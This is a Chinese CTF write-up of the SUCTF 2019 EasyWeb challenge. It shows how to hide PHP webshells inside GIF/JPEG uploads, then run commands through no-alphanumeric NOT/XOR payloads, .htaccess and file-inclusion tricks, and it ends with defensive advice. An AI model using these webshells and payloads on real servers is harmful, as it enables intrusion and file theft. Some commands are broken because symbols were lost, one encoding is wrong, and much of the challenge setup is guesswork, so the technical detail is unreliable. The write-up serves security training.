1. 项目概述一次对经典CTF赛题的深度复盘几年前我在准备一场CTF比赛时遇到了一个让我印象深刻的Web题目——[SUCTF 2019] EasyWeb。这道题之所以经典是因为它在一个看似简单的“图片上传”功能里巧妙地融合了两种在当时极具代表性的攻击手法无字符数字注入和木马图上床。很多新手朋友看到“注入”和“上传”这两个词可能会觉得这是两个独立的知识点但EasyWeb这道题的精妙之处恰恰在于它要求你将这两种技术串联起来形成一个完整的攻击链。今天我就以一个“过来人”的身份带大家从头到尾、掰开揉碎地复盘这道题不仅讲清楚每一步“怎么做”更要讲明白“为什么这么做”以及我在实战中踩过的那些坑。简单来说这道题模拟了一个允许用户上传图片的Web应用。我们的目标很明确拿到服务器上的一个关键文件通常是flag.php。但题目设置了重重障碍首先它通过严格的过滤试图阻止我们上传任何非图片文件即“木马图上床”的防御其次在后续利用上传文件的过程中又遇到了一个对字符和数字进行严格限制的注入点即“无字符数字注入”的挑战。攻克这道题就像玩一个精密的解谜游戏你需要先绕过上传过滤得到一个“立足点”然后再利用这个立足点突破第二道防线最终触及目标。下面我们就按照这个攻击链条一步步拆解。2. 环境准备与初步信息收集2.1 题目环境搭建与初步访问拿到一个CTF题目尤其是Web题第一步永远是“看”。这里不是用眼睛看代码而是用工具去“看”整个应用。我通常会先搭建一个本地复现环境或者直接访问题目给出的在线地址。对于EasyWeb我们首先访问其首页。映入眼帘的很可能是一个极其简洁的页面可能只有一个表单上面写着“上传你的头像”或者类似的提示外加一个文件选择框和一个提交按钮。页面源代码View Source是第一个要检查的地方。我习惯用浏览器的开发者工具F12不仅看body里的内容更要仔细检查head部分的注释、引用的JS/CSS文件路径这些地方有时会隐藏着提示信息比如被注释掉的备份文件路径index.php.bak或者前端过滤逻辑。接着我会用dirsearch或gobuster这类目录扫描工具对网站目录进行一次快速的暴力枚举。关键词是“快速”因为CTF环境通常有请求频率限制。扫描时我会重点关注像/upload/admin/backup/src/.git这类常见目录以及robots.txtwww.zipindex.php.swp这类常见文件。这一步的目的是尽可能多地了解应用的结构找到可能的入口点或信息泄露点。注意在真实CTF比赛中目录扫描要适度。过于激进的扫描可能导致IP被临时封禁打乱解题节奏。我通常会先使用小字典进行试探性扫描。2.2 核心功能点分析上传表单聚焦到核心功能——文件上传。点击上传按钮尝试上传一个正常的图片文件比如.jpg。如果成功页面可能会显示“上传成功”并展示图片。这时我们要立刻做几件事观察响应成功上传后图片被展示在哪里是直接通过img src“/uploads/xxx.jpg”引用还是经过了某种处理比如Base64内嵌URL路径的规律是什么这决定了我们后续如何访问上传的文件。尝试突破立刻尝试上传一个最简单的文本文件.txt内容为?php phpinfo();?。绝大多数情况下这会直接失败页面会返回“仅允许上传jpg/png/gif格式”之类的错误。但这正是我们想要的反馈它告诉我们后端有过滤机制。查看前端代码仔细审查上传表单的HTML。看看是否有accept“image/*”属性或者是否有内联的JavaScript验证函数。前端的验证是完全可以绕过的但它能提示我们后端的验证可能关注哪些点如文件扩展名、MIME类型。通过初步交互我们基本可以确定这是一个有后端验证的图片上传点。我们的第一个目标就是绕过这个验证上传一个包含PHP代码的文件。3. 核心技术点一绕过图片上传过滤木马图上床“木马图上床”这个说法很形象就是把恶意代码木马藏在一张正常的图片图里然后“上床”上传到服务器。服务器把它当作图片处理但在特定条件下其中的恶意代码会被执行。这是绕过严格图片验证的经典思路。3.1 常见上传过滤机制与绕过方法在实战和CTF中上传过滤通常发生在三个层面客户端验证前端通过JavaScript检查文件扩展名。绕过方法直接禁用浏览器JS或者使用Burp Suite等代理工具拦截修改请求将文件扩展名从.php改为.jpg再放行。MIME类型验证检查HTTP请求头中的Content-Type字段如image/jpeg。绕过方法同样使用代理工具在拦截的请求中将Content-Type修改为image/jpeg或image/png。服务端验证这是最难绕过的通常包括黑名单/白名单校验文件扩展名黑名单可能遗漏冷门后缀如.phtml.phps.php5白名单只允许.jpg.png.gif则更严格。文件内容头校验检查文件开头特定的字节魔术字节例如JPEG文件开头是FF D8 FF E0PNG文件是89 50 4E 47。这是为了确保文件真的是一个图片格式。二次渲染服务器对上传的图片进行压缩、裁剪或重新生成这会破坏嵌入在图片像素数据中的恶意代码。对于EasyWeb这道题根据其“木马图上床”的提示以及常见的出题思路它极有可能采用的是“白名单扩展名校验” “文件内容头校验”的组合防御。也就是说它要求你上传的文件扩展名必须是.jpg/.png/.gif之一并且文件开头必须是正确的图片魔术字节。3.2 制作“图片马”两种实用方法我们的目标是在一个合法的图片文件中嵌入PHP代码并且保证图片本身仍能被正常渲染。这里介绍两种最常用的方法方法一文件合并Copy/Bourne Again Shell这是最直接的方法。在Linux下使用cat命令将图片文件和PHP木马文件拼接在一起。cat normal.jpg shell.php shell.jpg这样生成的shell.jpg用图片查看器打开显示的是normal.jpg的内容因为图片查看器会从文件头开始解析遇到FF D8 FF E0JPEG头就按图片处理。而Web服务器如Apache在解析PHP文件时如果遇到非PHP代码如图片头会直接输出为文本直到遇到?php ... ?标签才会执行。但这种方法有个问题PHP解释器在解析文件时如果开头是一堆乱码图片二进制数据可能会报错或直接不执行。方法二利用文件注释/附加数据更可靠的方法是将PHP代码写入图片文件的注释区或直接附加在文件末尾。对于JPEG、PNG等格式它们都有存储注释信息的字段。对于JPEG可以使用exiftool这个强大的工具。exiftool -Comment?php system($_GET[“cmd”]); ? normal.jpg这条命令会将PHP代码写入JPEG的Comment字段。生成的新文件依然是一张完美的图片。当这个文件被当作PHP解析时exiftool写入的注释内容会被当作PHP代码执行。对于PNGPNG文件由一系列“数据块”组成其中tEXt或zTXt块可以用来存储文本信息。我们也可以构造一个包含恶意代码的tEXt块。在EasyWeb的上下文中题目描述提到了GIF89a。GIF文件的开头魔术字节就是ASCII字符串GIF89a或GIF87a。这给了我们一个重要提示服务器可能对GIF文件的检查相对宽松或者我们可以利用GIF文件的结构来嵌入代码。3.3 针对EasyWeb的实战构造结合题目信息我们采取以下步骤准备木马代码由于后续涉及无字符数字注入我们的木马需要尽可能精简和通用。一个最简单的执行命令的木马可以是?$_GET[0]?这里使用了短标签?和反引号执行操作符。$_GET[0]表示通过URL参数0来传递命令例如shell.gif?0ls。制作GIF图片马找一个正常的GIF图片或者直接创建一个包含GIF文件头的文件。使用文本编辑器注意用二进制模式或者echo命令构造文件echo -e ‘GIF89a\n?$_GET[0]?’ shell.gif这样文件开头是GIF89a后面紧跟着我们的PHP代码。当服务器检查文件头时看到GIF89a就会认为它是GIF。如果服务器配置不当例如在Apache中.gif文件没有被设置为由PHP处理器处理那么它会被当作普通图片。但CTF题目通常会让所有文件都经过PHP解析或者我们通过其他方式如文件包含漏洞来触发代码执行。上传测试将shell.gif通过上传表单提交。此时Burp Suite要开着用于拦截和观察请求。观察请求确认文件名是shell.gifContent-Type是image/gif。观察响应如果上传成功页面通常会返回文件的访问路径比如Uploads/xxxx.gif。记下这个路径。访问验证直接访问上传的GIF文件路径例如http://target.com/uploads/shell.gif。如果页面显示一片乱码或者空白而不是图片并且没有报错那么很有可能文件正在被PHP解析。这时尝试附加参数http://target.com/uploads/shell.gif?0ls。如果页面上显示了目录列表恭喜你第一步成功了。实操心得有时服务器会对?短标签进行过滤。如果上述方法不成功可以尝试使用标准标签?php ... ?并确保代码写在GIF文件头之后。也可以尝试将代码放在GIF文件末尾前面用换行或垃圾字符填充。多试几种组合是解题的常态。4. 核心技术点二无字符数字注入原理与利用在成功上传Webshell后我们本以为可以轻松执行命令找到flag但题目真正的难点才刚刚开始。当你尝试执行shell.gif?0cat /flag或类似命令时可能会发现没有任何回显或者返回一个错误页面提示过滤了什么。这就是题目设置的第二个障碍无字符数字注入。4.1 什么是无字符数字注入在SQL注入中我们常用‘ or 11--这样的Payload其中包含了字母、数字和符号。如果服务器过滤了所有的字母a-z, A-Z和数字0-9我们还能进行注入吗无字符数字注入就是解决这个问题的技术。它同样适用于命令执行RCE的场景就像本题中我们通过Webshell执行命令但参数被过滤了字母和数字。核心思想是在不直接使用被禁字符的情况下通过其他方式“构造”出我们需要的字符或字符串。4.2 利用PHP特性构造字符串和命令PHP提供了许多有趣的特性可以在不使用直接字符的情况下生成字符串。方法一利用字符串自增运算符在PHP中字符串支持操作。例如$a ‘a‘; echo $a; // 输出 ‘b‘ $b ‘aa‘; echo $b; // 输出 ‘ab‘更神奇的是如果对一个空字符串或未初始化的变量进行自增会从‘a‘开始。$_‘‘; // 空字符串 $__$_; // $__ ‘’ $___$__; // $___ ‘’ $____$___; // $____ ‘’ // 通过连续的自增可以得到我们想要的字母 $_; // $_ ‘a‘ $__$_;$__;$__; // $__ ‘c‘ (从‘a‘递增两次)但是我们如何得到第一个初始的‘a‘呢在无数字字母的情况下我们无法直接赋值$a‘a‘;。这就需要用到其他技巧来生成一个非空的字符串。方法二利用PHP的强制类型转换和数组Array在PHP中可以被转换成字符串‘Array‘。这是一个非常重要的起点。$_[]; // 空数组但这样赋值用了[和]可能被过滤。我们可以用其他方式获取数组。 $_$_[0]; // 假设$_本来是个数组但这需要已有数组。更常用的方法是利用$_GET$_POST等超全局变量。即使它们的内容被过滤变量名本身是存在的。但直接$_‘_GET‘;又用到了字母。这时我们需要一个“种子”。方法三利用异或^或取反~运算构造字符这是无字符数字注入中最核心、最强大的技术。PHP中两个字符串进行异或运算实际上是对它们每个字符的ASCII码进行异或。// 例如我们想得到字符串 ‘ls‘ // ‘l‘ 的ASCII是 108 ‘s‘ 是 115。 // 我们可以找到另外两个字符串它们异或的结果是 ‘ls‘。 // 比如 (‘‘ ^ ‘)‘) 的结果是什么 // ‘‘ ASCII 64, ‘)‘ ASCII 41, 64 ^ 41 105 - ‘i‘ 不对。 // 这需要暴力计算。手工计算很麻烦通常我们会写一个Python脚本遍历所有可打印字符这些字符可能不在过滤名单内比如!#$%^*()_-[]{}|;:‘“‘?./~找出两两异或能产生目标字符的组合。例如要构造system这个函数名// 假设我们通过脚本找到 // ‘_‘ ^ ‘]‘ ‘T‘? 不对需要具体计算。 // 实际Payload可能是这样拼接出来的 $_‘某字符串‘^‘另一字符串‘; // $_ 的值变成了 ‘system‘取反~操作更直接一些。对一个字符串取反会得到每个字符ASCII码按位取反后的字符。但取反后的字符通常是不可见的非打印字符。不过我们可以利用二次取反来还原~~‘abc‘不等于‘abc‘但urlencode(~‘abc‘)会得到一串百分号编码我们可以直接使用这串编码。// 例如 ~‘system‘ 的结果是一串乱码假设是 “%8C%86%8C%8B%9A%92“ // 那么我们可以这样写 $_~“%8C%86%8C%8B%9A%92“; // $_ 的值就是 ‘system‘ // 而 “%8C%86%8C%8B%9A%92“ 这个字符串里没有字母数字只有百分号和数字但如果数字也被过滤呢如果数字也被过滤那么%8C中的8和C字母也不能用。这就引出了终极方法利用PHP的字符串解析特性从特殊变量中提取字符。4.3 无字母数字Webshell的终极构造在PHP中有一个神奇的超全局变量$_或$_GET$_POST的数组索引如果我们能访问到它们即使内容为空我们也能利用数组和字符串转换得到字母。一个经典的Payload构造如下?php $_[].‘‘; // 将空数组转换成字符串得到 ‘Array‘ $___$_[0]; // $___ ‘A‘ (字符串‘Array‘的第一个字符) $__$_[1]; // $__ ‘r‘ // 现在我们有了 ‘A‘和‘r‘。 // 利用自增可以从 ‘A‘得到 ‘B‘ ‘C‘... 从 ‘r‘得到 ‘s‘ ‘t‘... $____$___; // $____ ‘A‘ $_____$____; $_____; // $_____ ‘B‘ // ... 通过复杂的组合和自增最终拼出 ‘_GET‘ 或 ‘_POST‘ 这样的字符串。 // 一旦我们得到了字符串 ‘_GET‘ 就可以用 $$_ 或 $_GET 的动态变量形式来访问GET参数。 // 例如$_‘_GET‘; $$_[0]($_); // 相当于 $_GET[0]($_GET[1]); ?然而这个Payload里仍然出现了[]01这些字符。如果连这些符号和数字都被过滤那就需要更极端的技巧比如利用PHP的error_get_last()函数返回的信息或者利用get_defined_vars()等但这些在CTF中较少见且难度极高。对于EasyWeb这道题我们需要结合上传的Webshell来利用无字符数字注入。假设我们上传的Webshell访问路径是/uploads/shell.gif其内容为最简单的?$_GET[0]?。我们尝试执行命令/uploads/shell.gif?0ls如果被过滤说明参数0的值即ls经过了过滤。我们的任务就是构造一个Payload作为0参数的值这个值本身不能包含字母数字但最终能让我们执行任意命令。假设过滤规则是删除或阻止所有a-zA-Z0-9字符。那么我们可以这样构造利用取反~来生成我们想要的命令字符串。例如~‘ls‘的结果是“%8C%93“具体值取决于PHP版本和设置这里举例。那么Payload可以是/uploads/shell.gif?0~%8C%93但是我们的Webshell是?$_GET[0]?它会对~%8C%93这个字符串进行求值。~是取反运算符%8C%93会被当作字符串。所以最终执行的是~“%8C%93“其结果就是‘ls‘。但这样只是得到了字符串‘ls‘并没有执行它。我们需要一个函数来执行这个字符串代表的命令。比如systemexecshell_exec。同理我们需要用无字母数字的方式构造出system这个函数名然后动态调用它。一个完整的、经典的Payload构造思路如下在URL参数中/uploads/shell.gif?0$_~%8C%86%8C%8B%9A%92;$__~%8C%93;$_($__);解码一下~%8C%86%8C%8B%9A%92的结果是字符串‘system‘。~%8C%93的结果是字符串‘ls‘。$_($__);就等价于system(‘ls‘);但是这个Payload里包含了$_;()等符号以及百分号编码。我们需要确认题目过滤的精确范围。如果$_也被过滤那构造将变得极其复杂可能需要利用PHP的assert函数配合字符串拼接或者利用“和‘来创建字符串。4.4 针对EasyWeb的注入Payload构造与测试在实际解题时我们不可能盲目猜测过滤规则。我们需要进行模糊测试。测试过滤范围通过Webshell尝试执行一些简单的测试。测试字母?0a测试数字?01测试符号?0$_测试空格?0测试括号?0()观察哪些有回显哪些被拦截或清空。例如如果输入?0phpinfo()有回显但?0system(‘ls‘)没有那么很可能systemls这些字母组合被过滤了但phpinfo可能因为不常见而逃过简单正则。利用已知函数如果systemexec被过滤可以尝试其他执行命令的函数如passthrupopenproc_open 或者用反引号。甚至可以利用scandirreadfile这类文件系统函数来替代ls和cat。构造最终Payload假设我们通过测试发现过滤了所有字母数字但允许$_~();“[]^|等符号。那么我们可以采用异或/取反构造法。我们可以预先写好一个生成Payload的脚本。例如用Python生成能执行cat /flag的取反Payloaddef generate_payload(command): s ‘~“‘ ‘‘.join([f‘%{ord(~c):02x}‘ for c in command]) ‘“‘ return s # 生成 system(‘cat /flag‘) 的取反形式需要分别构造 ‘system‘ 和 ‘cat /flag‘ # 但更简单的是直接构造一个执行命令的语句 $_~“...“;$_(); # 我们需要构造 system(‘cat /flag‘) 这个整体字符串的取反。 # 但实际上我们需要分开构造函数名和参数。更实用的方法是利用一个在线PHP环境直接打印出我们所需命令的取反形式?php echo ‘~“‘; for($i0; $istrlen(‘system‘); $i){ echo ‘%‘ . dechex(ord(~‘system‘[$i])); } echo ‘“‘; // 输出类似 ~“%8C%86%8C%8B%9A%92“ ?然后我们将生成的取反字符串拼接到Payload中。最终访问的URL可能长这样/uploads/shell.gif?0$_~%8C%86%8C%8B%9A%92;$__~%9C%9E%8B%DF%D0%99%93%9E%98;$_($__);其中~%9C%9E%8B%DF%D0%99%93%9E%98可能就是‘cat /flag‘的取反结果。执行与获取结果将构造好的URL访问如果一切顺利页面上应该会显示出/flag文件的内容。踩坑实录这里最大的坑在于引号的使用和编码。在URL中%本身需要编码为%25。而我们的取反字符串里已经包含了%。如果直接拼接服务器在解析URL时可能会混淆。一种稳妥的做法是将整个Payload作为一层Base64编码然后在Webshell中用eval(base64_decode(...))来解码执行。但base64_decode函数名本身也可能被过滤。这就需要根据实际情况灵活调整。我常用的技巧是先在本地PHP环境测试Payload的语法是否正确确保它能正确执行然后再思考如何将其转换成无字母数字的形式。5. 完整攻击链实操与问题排查5.1 从零开始的完整攻击流程让我们串联起整个攻击链条假设我们面对的是一个全新的EasyWeb题目环境信息收集访问网站发现图片上传功能。扫描目录未发现其他有用信息。上传绕过 a. 创建文件payload.gif内容为GIF89a?$_GET[0]?。 b. 使用Burp Suite拦截上传请求确保Content-Type为image/gif。 c. 上传成功获得路径/uploads/af1a3d5c.gif。Webshell测试访问/uploads/af1a3d5c.gif页面空白无图片显示说明可能被解析。尝试/uploads/af1a3d5c.gif?0echo 123;页面输出123证明代码执行成功但字母数字未被过滤。探测过滤规则尝试执行/uploads/af1a3d5c.gif?0system(‘ls‘);。如果无回显则可能system或ls被过滤。尝试/uploads/af1a3d5c.gif?0phpinfo();如果成功则说明是system等敏感函数被禁。构造无字母数字Payload a. 确定使用取反法。在本地PHP环境运行脚本生成system(‘cat /flag‘)的取反字符串。假设得到函数部分为~“%8C%86%8C%8B%9A%92“参数部分为~“%9C%9E%8B%DF%D0%99%93%9E%98“。 b. 构造Payload$f~“%8C%86%8C%8B%9A%92“;$a~“%9C%9E%8B%DF%D0%99%93%9E%98“;$f($a);c. 由于Webshell是?$_GET[0]?我们需要将整个Payload作为URL参数0的值。注意对%进行URL编码即%要写成%25。 d. 最终访问的URL为/uploads/af1a3d5c.gif?0$f~%22%258C%2586%258C%258B%259A%2592%22;$a~%22%259C%259E%258B%25DF%25D0%2599%2593%259E%2598%22;$f($a);这里双重编码了实际需要根据服务器解析情况调整。获取Flag访问上述URL在页面源代码或直接响应中查找flag通常格式为SUCTF{...}或flag{...}。5.2 常见问题与排查技巧即使按照步骤操作也可能遇到各种问题。下面是我在实战中遇到的一些情况及其解决方案问题1上传的GIF文件被当作静态文件不解析PHP。排查访问上传的GIF链接浏览器是否尝试下载或者直接显示图片如果是说明服务器没有将该路径配置为由PHP解析。解决方法A尝试修改后缀为.phtml.php5等看是否在黑名单之外。方法B寻找文件包含漏洞。题目可能在其他地方存在文件包含点比如index.php?pageupload利用该点包含我们上传的图片马例如index.php?pageuploads/af1a3d5c.gif这样文件内容会经过PHP解析。方法C利用.htaccess文件如果服务器是Apache且允许上传。上传一个.htaccess文件内容为AddType application/x-httpd-php .gif强制将.gif文件当作PHP解析。但这通常需要上传点允许上传.htaccess。问题2无字母数字Payload执行后无回显。排查检查Payload语法在本地PHP环境测试你的Payload字符串确保它能正确执行system(‘cat /flag‘)。检查编码问题URL中的%是否被正确编码有时需要双重编码%-%25。检查特殊字符“;()$这些符号是否被过滤尝试用echo 123;测试基本语法是否可用。检查命令执行权限可能cat命令被禁用或者flag文件路径不是/flag。尝试用ls /查看根目录用find / -name ‘*flag*‘ 2/dev/null查找文件。解决使用更简单的测试命令如?0echo%20123;注意空格用%20或。尝试用反引号代替system函数?0echo ls;。如果分号;被过滤可以用?标签闭合?$_GET[0]?本身不依赖分号但如果是?php eval($_GET[0]);?则需要。可以尝试用或||连接命令或者将整个Payload用eval包裹。问题3Payload太长或太复杂被WAF拦截。排查尝试分段测试。先测试一个简单的取反操作?0echo ~“%8C“;看能否输出预期字符。解决缩短Payload。例如如果只需要读取一个已知路径的文件可以用highlight_file(‘/flag‘);这个函数名比system(‘cat /flag‘)更长但也许过滤规则不同。利用PHP的动态函数特性。先构造出_GET然后通过$_GET[a]($_GET[b])的方式传递函数名和参数这样Payload主体可以非常短。使用编码转换。例如用base64编码命令然后用eval(base64_decode(...))执行。但base64_decode也可能被过滤。问题4Flag不在常见位置。排查执行ls -la /查看根目录执行env查看环境变量有时flag可能在环境变量里如FLAGFLAG_HOST。解决使用find / -type f -name ‘*flag*‘ 2/dev/null或grep -r ‘SUCTF{‘ / 2/dev/null进行全盘搜索。注意2/dev/null是为了屏蔽权限错误产生的噪音。6. 防御视角与总结反思作为攻击者我们解开了这道题。但作为一名安全从业者我们更应该从防御者的角度思考如何避免自己的应用出现此类漏洞。对于“木马图上床”的防御使用白名单严格限定只允许上传指定的后缀如.jpg .png。检查文件内容使用getimagesize()等函数进行严格的图片二次渲染。将上传的图片用GD库或ImageMagick重新保存一遍这样可以彻底破坏嵌入在注释或冗余数据中的恶意代码。重命名文件使用随机字符串如MD5(时间戳随机数)重命名上传的文件避免用户控制文件名。隔离存储将上传的文件存储在Web根目录之外通过一个专门的脚本如download.php?idxxx来读取和输出避免直接执行。禁用危险函数在php.ini中禁用evalassertsystemexecpassthrushell_exec等函数。对于“无字符数字注入”的防御输入过滤对于执行代码或命令的参数进行严格的输入过滤。但单纯的字符黑名单很容易被绕过如本题的取反、异或。更佳实践避免动态代码执行绝对不要使用evalassert函数处理用户输入。避免动态函数调用谨慎使用$var()这种形式的动态函数调用如果必须使用应将$var限制在一个明确的白名单内。使用参数化或白名单对于命令执行如system如果不可避免应使用参数化调用如escapeshellarg()或严格限定命令和参数的白名单。设置open_basedir和disable_functions限制PHP可访问的目录并禁用不必要的危险函数。回过头看[SUCTF 2019] EasyWeb这道题之所以经典是因为它生动地展示了攻击链的思维渗透很少是一步到位的它往往是一个环环相扣的过程。你需要先找到一个薄弱点上传过滤不严建立一个前沿阵地Webshell然后利用这个阵地去突破更深层次的防御命令注入过滤。这种“组合拳”式的漏洞利用在真实的渗透测试中也非常常见。对于学习者而言这道题的价值在于逼迫你去深入理解PHP语言的特性字符串操作、类型转换、变量解析而不仅仅是记住几个Payload。它锻炼的是你在受限环境下的创造力和问题解决能力。我建议大家在复现这道题时不要满足于找到现成的Payload而是亲手去写那个生成取反字符串的脚本去调试为什么某个符号会被过滤去尝试不同的构造方法。这个过程积累的经验远比拿到flag本身更重要。